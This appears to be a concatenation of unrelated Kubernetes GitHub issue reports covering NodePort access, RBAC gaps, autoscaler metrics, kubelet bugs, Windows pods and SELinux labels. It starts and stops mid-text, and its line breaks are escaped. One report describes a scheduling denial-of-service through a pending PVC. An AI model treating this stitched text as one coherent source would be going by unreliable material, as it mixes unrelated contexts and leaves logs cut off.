011/go/src/k8s.io/kubernetes/godeps/_workspace/src/github.com/emicklei/go-restful/container.go:95 +0x45 jun 24 12:19:34 node1 kubelet 19095 : net/http.handlerfunc.servehttp 0xc2084ffac0, 0x7f0046ee8148, 0xc2088dc2a0, 0xc208790340  jun 24 12:19:34 node1 kubelet 19095 :  011/usr/src/go/src/net/htt   curl/7.47.0  127.0.0.1:34274

in pr  31976 the specific resource types are handled explicitly. need to delete them in more generic way, in a similar way that namespace controller does.

hi,\r \r i am trying to run nginx-https example, i am running in on local cluster. local cluster is being run using ./hack/local-up-cluster script. now, i am able to run rc and pod and service, but i can't see the external ip in svc.\r \r    \r   cluster/kubectl.sh get svc\r name         cluster-ip   external-ip   port s                       age\r kubernetes   10.0.0.1     <none>        443/tcp                      2h\r nginxsvc     10.0.0.128   <nodes>       80:30283/tcp,443:31491/tcp   2h\r    \r \r any idea what could be going wrong here? or where to start debugging?

https://k8s-testgrid.appspot.com/release-1.7-blocking gce-kubeadm-1.7\r https://k8s-testgrid.appspot.com/release-1.7-blocking gce-kubeadm-1.6-on-1.7\r \r @luxas

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r \r   what happened  :\r \r some kube-proxy options are not validated.\r \r   what you expected to happen  :\r \r we should validate these options before running.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r  \r /area kube-proxy\r

is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r    \r cleaner.go:100  error while attempting to clean csr \ node-csr-6flh3m7ea0exsr9-dl4s5neoepvve9hlnk7wywmmzqq\ : unable to delete csr \ node-csr-6flh3m7ea0exsr9-dl4s5neoepvve9hlnk7wywmmzqq\ : certificatesigningrequests.certificates.k8s.io \ node-csr-6flh3m7ea0exsr9-dl4s5neoepvve9hlnk7wywmmzqq\  is forbidden: user \ system:serviceaccount:kube-system:certificate-controller\  cannot delete certificatesigningrequests.certificates.k8s.io at the cluster scope\r    \r \r  system:serviceaccount:kube-system:certificate-controller  is lacking permissions to delete csrs.\r \r see:\r - https://github.com/kubernetes/kubernetes/blob/d3b783d5ec1739e43344299d67a1b7ac4079458d/plugin/pkg/auth/authorizer/rbac/bootstrappolicy/controller_policy.go l318\r - https://github.com/kubernetes/kubernetes/blob/8363129ee6da255ca9fe5c7d62596a3a19378abb/plugin/pkg/auth/authorizer/rbac/bootstrappolicy/testdata/controller-roles.yaml l78\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.1\ , gitcommit:\ 3a1c9449a956b6026f075fa3134ff92f7d55f812\ , gittreestate:\ clean\ , builddate:\ 2018-01-04t11:52:23z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.1\ , gitcommit:\ 3a1c9449a956b6026f075fa3134ff92f7d55f812\ , gittreestate:\ clean\ , builddate:\ 2018-01-04t11:40:06z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r   \r   what happened  :\r \r i noticed there is istio example in cluster / addons.\r \r do we need addon's example of linkerd?\r \r   anything else we need to know?  :\r \r if we have such needs, i volunteered to accomplish this task.\r

what happened  :\r \r since, we have preemption logic in kube-scheduler to preempt pods while placing critical pods, the logic in kubelet for preemption could be removed. \r \r as of now, the edge case stopping this is:\r  from offline discussion with bobby \r - ds controller critical pods are directly bound to node without resource checking. as a result, we need some preemption logic in kubelet to ensure that pods have enough resources. \r \r some potential solutions to above problem:\r - we could rely on rescheduler and the plan is to move to descheduler in near future to make place for those dscontrolled critical pods.\r - we could rely on 'schedule ds pods by default scheduler' once it graduates to beta.\r \r note: if we don't remove this preemption logic in kubelet, there is a very good chance that some high  are preempted from node since this kubelet is not  \r /cc @bsalamat @dashpole @aveshagarwal @sjenning @derekwaynecarr \r \r  \r 

what happened  :\r the services can be installed and in the logs it's exposed on a node port but i can't access the nodeport from the node neither externally.\r  \r   what you expected to happen  :\r be able to access the node port.\r \r   how to reproduce it  as minimally and precisely as possible   :\r created a instance on aws with the ami ubuntu/images/hvm-ssd/ubuntu-xenial-16.04-amd64-server-20180627  ami-759bc50a  and installed the kubernetes-dind-cluster. installed the https://github.com/kubernetes/ingress-nginx as bare metal and another private services but i am not able to access the nodeport.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.0\ , gitcommit:\ 91e7b4fd31fcd3d5f436da26c980becec37ceefe\ , gittreestate:\ clean\ , builddate:\ 2018-06-27t20:17:28z\ , goversion:\ go1.10.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.3\ , gitcommit:\ 2bba0127d85d5a46ab4b778548be28623b32d0b0\ , gittreestate:\ clean\ , builddate:\ 2018-05-21t09:05:37z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration:\r 2vcpu, 4gb ram, 16gb disk ubuntu server hosted on aws.\r - os  e.g. from /etc/os-release :\r name=\ ubuntu\ \r version=\ 16.04.4 lts  xenial xerus \ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 16.04.4 lts\ \r version_id=\ 16.04\ \r home_url=\ http://www.ubuntu.com/\ \r support_url=\ http://help.ubuntu.com/\ \r bug_report_url=\ http://bugs.launchpad.net/ubuntu/\ \r version_codename=xenial\r ubuntu_codename=xenial\r - kernel  e.g.  uname -a  :\r linux ip-172-18-10-242 4.4.0-1061-aws  70-ubuntu smp fri may 25 21:47:34 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r - install tools:\r - others:\r

is this a bug report or feature request?  :\r >  \r   what happened  :\r 1. i created a serviceaccout named kube-system:kubernetes-dashboard and created a kubenetes-dashboard using the sa to access apiserver.\r 2. firstly, the sa \ kube-system:kubenetes-dashboard\  has no rbac,  k8s can generate automatically a corresponding secret, which has a token including userid and tokenid. then i used the token to access kubernetes-dashboard. evidently, i had no rbac to access apiserver to operate pods, deployments and services because of no binding clusterrole or role.\r 3. then i binded clusterrole “cluster-admin” to serviceaccount, but the secret corresponding with serviceaccount did not change and token of secret did't change either. i use this token to access dashboard, eventually, it did't work also.\r 4. i deleted deployment resource of kubernetes-dashboard and recreated it, then used this token, it worked.\r \r   what you expected to happen  :\r the same with user and group, when i modify binding policy of serviceaccount, i hope secret corresponding serviceaccount can recreate automatically and the token of secret can work.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : k8s v1.10.1\r - cloud provider or hardware configuration: no\r - os  e.g. from /etc/os-release : ubuntu 14.04\r - kernel  e.g.  uname -a  : linux node208 4.2.0-27-generic  32~14.04.1-ubuntu smp fri jan 22 15:32:26 utc 2016 x86_64 x86_64 x86_64 gnu/linux\r - install tools: k8s plugin: kubernetes-dashboard\r - others: no\r

fetching upstream changes from https://github.com/kubernetes/kubernetes  > /usr/bin/git -c core.askpass=true fetch --tags --progress https://github.com/kubernetes/kubernetes +refs/pull/28279/merge:refs/remotes/origin/pr/28279/merge   timeout=20 error: error fetching remote repo 'remote1' hudson.plugins.git.gitexception: failed to fetch from https://github.com/kubernetes/kubernetes     at hudson.plugins.git.gitscm.fetchfrom gitscm.java:810      at hudson.plugins.git.gitscm.retrievechanges gitscm.java:1066      at hudson.plugins.git.gitscm.checkout gitscm.java:1097      at hudson.scm.scm.checkout scm.java:485  ... skipping 6 lines ...     at hudson.model.resourcecontroller.execute resourcecontroller.java:98      at hudson.model.executor.run executor.java:410  caused by: hudson.plugins.git.gitexception: command \ /usr/bin/git -c core.askpass=true fetch --tags --progress https://github.com/kubernetes/kubernetes +refs/pull/28279/merge:refs/remotes/origin/pr/28279/merge\  returned status code 128: stdout:       more available here: https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/28279/kubernetes-pull-verify-all/2669/

 \r splitting off the subthread in https://github.com/kubernetes/kubernetes/issues/39989 issuecomment-305356470\r \r this looks like it might have just got easier on aws and cross-cloud:\r \r  new – application load balancing via ip address to aws & on-premises resources  https://aws.amazon.com/blogs/aws/new-application-load-balancing-via-ip-address-to-aws-on-premises-resources/ \r \r i haven't gone through all the details yet but this seems like it might form a good base for cross-cloud load balancing.  as usual, the devil will be in the details.\r

 \r on aws or gce, scheduler has a predicate that count volumes attached to a node so it does not attach more volumes than the platform supports. this predicate returns error and fails to schedule any pod with a volume it encounters a pod a pvc that is not bound.\r \r   steps to reproduce  :\r in namespace1\r  - create a pvc1  make the pvc bind \r  - create a pod using the pvc1\r  - delete the pvc1\r  - create a pvc1 with the same name, but this time make it such that it stay's pending forever  eg: readwritemany on ebs or use  non-existing storageclassname \r \r in namespace2\r  - create a valid pvc2\r  - create a valid pod2 using the pvc2.\r \r   what you expected to happen  :\r pod2 in namespace2 runs\r \r   what happened  :\r pod2 in namespace2 is pending with event \ persistentvolumeclaim is not bound: \ pvc1\ \ . this pod2 has nothing to do with pvc1 though!\r \r this way, a malicious user might block scheduling of all pods that use aws ebs or gce pd in all namespaces.\r \r   environment  :\r - kubernetes version  use  kubectl version  : today's master, gitcommit:\ c4d87032c89f620a2e78097ca8aaeb2c5bf2de91\ \r - cloud provider or hardware configuration: aws  gce should be broken in similar matter \r

is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  : when kind/group/version is not present, only one of the missing file is reported. they should all be reported as missing.\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r  @kubernetes/sig-node-bugs \r \r \r   what happened  :\r    \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/node/kubelet_perf.go:269\r oct 20 06:16:38.571: memory usage exceeding limits:\r  node test-c858633e76-minion-group-1nwj:\r  container \ runtime\ : expected rss memory  mb  < 314572800; got 668475392\r node test-c858633e76-minion-group-80wk:\r  container \ runtime\ : expected rss memory  mb  < 314572800; got 677249024\r node test-c858633e76-minion-group-v9fq:\r  container \ runtime\ : expected rss memory  mb  < 314572800; got 641290240\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/node/kubelet_perf.go:155\r    \r \r  triage  https://storage.googleapis.com/k8s-gubernator/triage/index.html?test=resource%20usage%20tracking \r  testgrid  https://k8s-testgrid.appspot.com/canonical gce-ubuntustable1-k8sdev-serial&include-filter-by-regex=%5eoverall%24%7c%5c%5bk8s%5c.io%5c%5d%5c%20%5c%5bsig%5c-node%5c%5d%5c%20kubelet%5c%20%5c%5bserial%5c%5d%5c%20%5c%5bslow%5c%5d%5c%20%5c%5bk8s%5c.io%5c%5d%5c%20%5c%5bsig%5c-node%5c%5d%5c%20regular%5c%20resource%5c%20usage%5c%20tracking%5c%20resource%5c%20tracking%5c%20for%5c%20100%5c%20pods%5c%20per%5c%20node

>  \r   what happened  :\r \r i setup custom metrics based autoscaling with multiple metrics.  one of those metrics was not available.  hpa reports all metrics as \ unknown\   even the ones that are still available  and refuses to operate.\r \r    \r metrics:                                                 current / target  \r   \ sockjs_sessions_current\  on pods:                   <unknown> / 500\r   \ ddp_method_calls\  on pods:                          <unknown> / 25\r   \ http_requests\  on pods:                             <unknown> / 25\r   resource cpu on pods   as a percentage of request :  <unknown> / 60%\r conditions:\r   type           status  reason               message\r   ----           ------  ------               -------\r   abletoscale    true    succeededgetscale    the hpa controller was able to get the target's current scale\r   scalingactive  false   failedgetpodsmetric  the hpa was unable to compute the replica count: unable to get metric ddp_method_calls: no metrics returned from custom metrics api\r events:\r   type     reason               age                  from                       message\r   ----     ------               ----                 ----                       -------\r   warning  failedgetpodsmetric  1m  x1052 over 17h   horizontal-pod-autoscaler  unable to get metric ddp_method_calls: no metrics returned from custom metrics api\r    \r \r   what you expected to happen  :\r \r pods would be automatically scaled based on metrics that were available, ignoring missing metrics  treating them as zero .\r \r a partial failure in the metrics system should not prevent auto-scaling from proceeding with the data that it has.  for example, cpu % metrics come from the k8s metrics server whereas the other metrics come from the prometheus adapter.  if the prometheus adapter goes away we can still use the cpu metric as a lower bound on the number of replicas.\r \r if you consider, e.g. https://github.com/kubernetes/kubernetes/blob/e99ec245958f82acb2404f8597844d62b8f459c9/pkg/controller/podautoscaler/horizontal.go l242 , instead of aborting the whole metric gathering process there, it could have stored a placeholder or zero metric value when it fails to fetch the metric.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r setup a custom metrics server and tell hpa to scale based on several metrics, one of which is not actually available.\r \r   environment  :\r \r kops 1.8 on aws\r client version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.2\ , gitcommit:\ 5fa2db2bd46ac79e5e00a4e6ed24191080aa463b\ , gittreestate:\ clean\ , builddate:\ 2018-01-18t10:09:24z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.8\ , gitcommit:\ 2f73858c9e6ede659d6828fe5a1862a48034a0fd\ , gittreestate:\ clean\ , builddate:\ 2018-02-09t21:23:25z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r

there seems to be a delay between the container creation and the cadvisor being notified of such a container change  through inotify  and registers the container. this leads to a case where cadvisor might report the container not found while it actually exists. because  docker is able to find the container  https://github.com/googlecloudplatform/kubernetes/blob/master/pkg/kubelet/kubelet.go l2029 , kubelet returns the raw error  instead of  errcontainernotfound  .      i0327 22:13:10.418373   30839 event.go:138  event api.objectreference{kind:\ pod\ , namespace:\ default\ , name:\ bar-controller-wbo6m\ , uid:\ 63459b0e-d4ce-11e4-98a4-42010af04d55\ , apiversion:\ v1beta1\ , resourceversion:\ 110606\ , fieldpath:\ spec.containers{bar}\ } : reason: 'created' created with docker id d97df25e70f82640924c01e9a60ed5b18b26e154660321ecd9d4bbb2808c0ee2 i0327 22:13:12.153278   30839 event.go:138  event api.objectreference{kind:\ pod\ , namespace:\ default\ , name:\ bar-controller-wbo6m\ , uid:\ 63459b0e-d4ce-11e4-98a4-42010af04d55\ , apiversion:\ v1beta1\ , resourceversion:\ 110606\ , fieldpath:\ spec.containers{bar}\ } : reason: 'started' started with docker id d97df25e70f82640924c01e9a60ed5b18b26e154660321ecd9d4bbb2808c0ee2 i0327 22:13:20.911539   30839 server.go:140  http internalservererror: internal error: unable to find docker container \ d97df25e70f82640924c01e9a60ed5b18b26e154660321ecd9d4bbb2808c0ee2\   skipped the backtrace  i0327 22:13:28.415407   30839 factory.go:71  using factory \ docker\  for container \ /docker/d97df25e70f82640924c01e9a60ed5b18b26e154660321ecd9d4bbb2808c0ee2\  i0327 22:13:28.426950   30839 manager.go:659  added container: \ /docker/d97df25e70f82640924c01e9a60ed5b18b26e154660321ecd9d4bbb2808c0ee2\   aliases:  k8s_bar.b80fe20f_bar-controller-wbo6m_default_63459b0e-d4ce-11e4-98a4-42010af04d55_0844342d d97df25e70f82640924c01e9a60ed5b18b26e154660321ecd9d4bbb2808c0ee2 , namespace: \ docker\        this happened when kubelet was trying to start 10~20 containers in a short period of time on a regular node created by e2e. since it was a relative high load, this scenario should rarely happen. that said, it'd still be nice if kubelet can report containernotfound instead of exposing the 500 errors.

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r \r >\r   \r \r \r   what happened  :\r pods stuck in terminating state on windows node after deleting it\r \r   what you expected to happen  :\r pods get terminated and should disappear from kubectl\r \r   how to reproduce it  as minimally and precisely as possible   :\r run a pod with windows container\r delete it\r pods are still terminating\r \r   anything else we need to know?  :\r could you pls help to resolve this issue. k8s pods stuck as terminating after getting deleted on windows node with windows container iis . docker ps -a not showing this container, so it is completely deleted, but in kubectl it is marked as terminating.  for networking we using ovn.\r kubectl logs:\r    \r $kubectl logs windows-iis-container1 \r failed to get container status {\ \  \ \ }: rpc error: code = outofrange desc = eof\r \r    \r kubelet logs:\r \r    \r line 11214: w0323 15:19:52.550689    1592 docker_sandbox.go:340  failed to read pod ip from plugin/docker: couldn't find network status for default/windows-iis-container1 through plugin: invalid network status for\r \tline 11258: e0323 15:21:54.711806    1592 kubelet.go:1629  unable to mount volumes for pod \ windows-iis-container1_default 57827f1c-2ea4-11e8-b7b6-00155d00680b \ : timeout expired waiting for volumes to attach/mount for pod \ default\ /\ windows-iis-container1\ . list of unattached/unmounted volumes= default-token-mpzlg ; skipping pod\r \tline 11258: e0323 15:21:54.711806    1592 kubelet.go:1629  unable to mount volumes for pod \ windows-iis-container1_default 57827f1c-2ea4-11e8-b7b6-00155d00680b \ : timeout expired waiting for volumes to attach/mount for pod \ default\ /\ windows-iis-container1\ . list of unattached/unmounted volumes= default-token-mpzlg ; skipping pod\r \tline 11259: e0323 15:21:54.711806    1592 pod_workers.go:186  error syncing pod 57827f1c-2ea4-11e8-b7b6-00155d00680b  \ windows-iis-container1_default 57827f1c-2ea4-11e8-b7b6-00155d00680b \  , skipping: timeout expired waiting for volumes to attach/mount for pod \ default\ /\ windows-iis-container1\ . list of unattached/unmounted volumes= default-token-mpzlg \r \t\r    \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.2\ , gitcommit:\ 5fa2db2bd46ac79e5e00a4e6ed24191080aa463b\ , gittreestate:\ clean\ , builddate:\ 2018-01-18t21:11:08z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.4\ , gitcommit:\ bee2d1505c4fe820744d26d41ecd3fdd4a3d6546\ , gittreestate:\ clean\ , builddate:\ 2018-03-12t16:21:35z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r \r    \r - cloud provider or hardware configuration:\r hyper-v vms\r \r - os  e.g. from /etc/os-release :\r windows node:\r    \r major  minor  build  revision\r -----  -----  -----  --------\r 10     0      14393  0\r \r    \r master node:\r name=\ ubuntu\ \r version=\ 16.04.4 lts  xenial xerus \ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 16.04.4 lts\ \r version_id=\ 16.04\ \r home_url=\ http://www.ubuntu.com/\ \r support_url=\ http://help.ubuntu.com/\ \r bug_report_url=\ http://bugs.launchpad.net/ubuntu/\ \r version_codename=xenial\r ubuntu_codename=xenial\r \r - kernel  e.g.  uname -a  :\r linux esd-kbrnts-lnx-1 4.13.0-37-generic  42~16.04.1-ubuntu smp wed mar 7 16:03:28 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r \r - install tools:\r ovn 2.7 on windows \r ovn 2.7.2 on linux\r \r - others:\r docker version on windows node:\r server version: 17.06.2-ee-6\r \r @kubernetes/sig-windows-bugs @kubernetes/sig-scheduling\r \r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r \r   what happened  :\r we noticed that https://github.com/kubernetes/kubernetes/blob/master/pkg/kubelet/kubelet.go l1386 is causing lot of unwanted events and spamming the logs since it is checking for every 30 seconds. curious, why it is set that way?\r \r while we understand that it is an important check, we could\r \r - check for the same at pod create and update events https://github.com/kubernetes/kubernetes/blob/master/pkg/kubelet/kubelet.go l1974 and https://github.com/kubernetes/kubernetes/blob/master/pkg/kubelet/kubelet.go l2012  instead of checking continuously for every 30 seconds.\r - increase the logging level to 4 or higher since the event is not catastrophic to cluster health .\r \r /cc @sjenning \r \r 

in the  startgarbagecollection  function, there is a  defer close stopchan   that always runs and closes the channel when returning. this means that instead of running periodically, the image garbage collection will be terminated immediately when the function returns. \r \r https://github.com/kubernetes/kubernetes/blob/91e7b4fd31fcd3d5f436da26c980becec37ceefe/pkg/kubelet/kubelet.go l1247-l1253\r \r the bug was introduced by  51423 in 1.11\r \r /cc @derekwaynecarr @jiaxuanzhou @kubernetes/sig-node-bugs @dashpole

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r  > uncomment only one, leave it on its own line:\r >\r >  >  \r \r   what happened  :\r table-based e2e tests are not getting updated to  golden conformance list  https://github.com/kubernetes/kubernetes/blob/master/test/conformance/testdata/conformance.txt  leading to the following error-   mentioned in https://github.com/kubernetes/kubernetes/pull/67612 issuecomment-418616392 \r    \r info: from listing all conformance tests. //test/conformance:list_conformance_tests:\r error at test/e2e/common/runtime.go:232:29: framework.conformanceit   called with non-literal argument\r error: non-literal argument &{0xc42038d2e0 9790  0xc42038d300 0xc42038d360  0 9858} at test/e2e/common/runtime.go:232:29\r error at test/e2e/common/runtime.go:355:29: framework.conformanceit   called with non-literal argument\r error: non-literal argument &{0xc42038b7a0 17397 + 0xc42038b7c0} at test/e2e/common/runtime.go:355:29\r target //test/conformance:list_conformance_tests up-to-date:\r   bazel-genfiles/test/conformance/conformance.txt\r info: elapsed time: 11.206s, critical path: 10.55s\r    \r framework.conformanceit   requires the first parameter to be  string literal  and  table based e2e tests  https://github.com/kubernetes/kubernetes/blob/master/test/e2e/common/runtime.go l204  are associated with  string formation  at runtime based on different cases/test-scenarios.\r \r   what you expected to happen  :\r either disapprove the use of table-based e2e tests or suggestion on an alternative approach to add such tests to conformance.\r \r   how to reproduce it  as minimally and precisely as possible :  \r 1. add framework.conformanceit   to  table-based e2e test  https://github.com/kubernetes/kubernetes/blob/master/test/e2e/common/runtime.go l204 .\r 2. run    bazel build //test/conformance:list_conformance_tests   \r \r /area conformance\r @kubernetes/sig-testing\r cc @brahmaroutu \r

nodes use listwatch for pod, service, and endpoint retrieval.  clusters that undergo a shared restart, or are scaled up at the same time, may end up synchronizing their requests and creating load spikes  we're seeing it as described here https://github.com/openshift/origin/issues/5106 issuecomment-148234658 .  we should use  util.jitter    that is relative to the resync period  1/20th? 1/50th?  to introduce drift.

we already have most of bits in place. the remaining things  mostly coming from clayton  are: -     if someone enables base64 on etcd2, and then goes to etcd3; we ideally don't want to support base64 in etcd3;    but maybe we can simply say that if you are using base64, then you know hat you are doing and we don't support you? thoughts? -     ensure that json-only objects  thirs party resources  are stored correctly  hopefully this will be only adding a test for it  -     migration  as for migration, we may potentially delegate it for the future, because since 1.3 release, apiserver can work with mixed storage  e.g. part of the objects can be json, the other part can be protobuf and it will work . that said, if you write a new version of an object  that already exists as json in storage , it will be overwritten to proto format  fyi - we already have a suite that is running tests with protobuf-based storage: http://kubekins.dls.corp.google.com:8080/job/kubernetes-e2e-gce-proto/  it's already running for few months . and i didn't see any problems different that in regular suits. which suggests that it works correctly.  @smarterclayton @lavalamp @kubernetes/sig-api-machinery @kubernetes/sig-scalability

currently kubelet and proxy for windows is an  exe  and we manually set up the environment variables and run the  exe . create a startup script which, - sets up environment variable by accepting user input and have appropriate default values - runs validation - run kubelet and proxy in the background

see https://github.com/kubernetes/kubernetes/pull/32487 discussion_r82785223 for details.  basically, we need to replace the polling live resources with polling cache or use a watch instead.

kubernetes version    use  kubectl version  :\r v1.6.0-alpha.0.1063+39e64fde8ca42e-dirty\r \r   environment  :\r    \r  root@ip-172-18-6-200 selinux   docker version\r client:\r  version:         1.12.3\r  api version:     1.24\r  package version: docker-common-1.12.3-8.el7.x86_64\r  go version:      go1.6.2\r  git commit:      8b91553-redhat\r  built:           wed nov 16 11:35:08 2016\r  os/arch:         linux/amd64\r \r server:\r  version:         1.12.3\r  api version:     1.24\r  package version: docker-common-1.12.3-8.el7.x86_64\r  go version:      go1.6.2\r  git commit:      8b91553-redhat\r  built:           wed nov 16 11:35:08 2016\r  os/arch:         linux/amd64\r \r    \r \r   what happened  :\r create pod with same selinuxoptions in pod level and container level, then check selinux context label in container, it has different result, i don't know it's a bug or it's correct.\r \r   how to reproduce it    as minimally and precisely as possible :\r    \r 1. run a pod with selinuxoptions in pod level\r  root@ip-172-18-6-200 selinux   kc create namespace dma\r namespace \ dma\  created\r  root@ip-172-18-6-200 selinux   kc create -f https://raw.githubusercontent.com/mdshuai/testfile-openshift/master/k8s/securitycontext/pod-selinux.yaml --namespace dma\r pod \ hello-pod\  created\r  root@ip-172-18-6-200 selinux   kc get po --namespace dma\r name        ready     status    restarts   age\r hello-pod   1/1       running   0          12s\r  root@ip-172-18-6-200 selinux   kc exec -it hello-pod --namespace dma -- /bin/sh\r sh-4.2  ls -lz\r -rw-r--r--. root root unconfined_u:object_r:svirt_sandbox_file_t:s0:c25,c968 anaconda-post.log\r lrwxrwxrwx. root root unconfined_u:object_r:svirt_sandbox_file_t:s0:c25,c968 bin -> usr/bin\r drwxr-xr-x. root root unconfined_u:object_r:svirt_sandbox_file_t:s0:c25,c968 dev\r drwxr-xr-x. root root unconfined_u:object_r:svirt_sandbox_file_t:s0:c25,c968 etc\r -rwxr-xr-x. root root unconfined_u:object_r:svirt_sandbox_file_t:s0:c25,c968 hello-pod\r drwxr-xr-x. root root unconfined_u:object_r:svirt_sandbox_file_t:s0:c25,c968 home\r lrwxrwxrwx. root root unconfined_u:object_r:svirt_sandbox_file_t:s0:c25,c968 lib -> usr/lib\r lrwxrwxrwx. root root unconfined_u:object_r:svirt_sandbox_file_t:s0:c25,c968 lib64 -> usr/lib64\r drwx------. root root unconfined_u:object_r:svirt_sandbox_file_t:s0:c25,c968 lost+found\r drwxr-xr-x. root root unconfined_u:object_r:svirt_sandbox_file_t:s0:c25,c968 media\r drwxrwxrwx. root root unconfined_u:object_r:svirt_sandbox_file_t:s0:c25,c968 mnt\r drwxr-xr-x. root root unconfined_u:object_r:svirt_sandbox_file_t:s0:c25,c968 opt\r dr-xr-xr-x. root root system_u:object_r:proc_t:s0      proc\r dr-xr-x---. root root unconfined_u:object_r:svirt_sandbox_file_t:s0:c25,c968 root\r drwxr-xr-x. root root unconfined_u:object_r:svirt_sandbox_file_t:s0:c25,c968 run\r lrwxrwxrwx. root root unconfined_u:object_r:svirt_sandbox_file_t:s0:c25,c968 sbin -> usr/sbin\r drwxr-xr-x. root root unconfined_u:object_r:svirt_sandbox_file_t:s0:c25,c968 srv\r dr-xr-xr-x. root root system_u:object_r:sysfs_t:s0     sys\r drwxrwxrwt. root root unconfined_u:object_r:svirt_sandbox_file_t:s0:c25,c968 tmp\r drwxr-xr-x. root root unconfined_u:object_r:svirt_sandbox_file_t:s0:c25,c968 usr\r drwxr-xr-x. root root unconfined_u:object_r:svirt_sandbox_file_t:s0:c25,c968 var\r sh-4.2  runcon \r unconfined_u:unconfined_r:svirt_lxc_net_t:s0:c25,c968\r \r 2. run a pod with selinuxoptions in container level\r  root@ip-172-18-6-200 selinux   kc create namespace dma1\r namespace \ dma1\  created\r  root@ip-172-18-6-200 selinux   kc create -f https://raw.githubusercontent.com/mdshuai/testfile-openshift/master/k8s/securitycontext/container-selinux.yaml --namespace dma1\r pod \ hello-pod\  created\r  root@ip-172-18-6-200 selinux   kc get po --namespace dma1\r name        ready     status    restarts   age\r hello-pod   1/1       running   0          11s\r  root@ip-172-18-6-200 selinux   kc exec -it hello-pod --namespace dma1 -- /bin/sh\r sh-4.2  ls -lz\r -rw-r--r--. root root system_u:object_r:svirt_sandbox_file_t:s0:c3,c298 anaconda-post.log\r lrwxrwxrwx. root root system_u:object_r:svirt_sandbox_file_t:s0:c3,c298 bin -> usr/bin\r drwxr-xr-x. root root system_u:object_r:svirt_sandbox_file_t:s0:c3,c298 dev\r drwxr-xr-x. root root system_u:object_r:svirt_sandbox_file_t:s0:c3,c298 etc\r -rwxr-xr-x. root root system_u:object_r:svirt_sandbox_file_t:s0:c3,c298 hello-pod\r drwxr-xr-x. root root system_u:object_r:svirt_sandbox_file_t:s0:c3,c298 home\r lrwxrwxrwx. root root system_u:object_r:svirt_sandbox_file_t:s0:c3,c298 lib -> usr/lib\r lrwxrwxrwx. root root system_u:object_r:svirt_sandbox_file_t:s0:c3,c298 lib64 -> 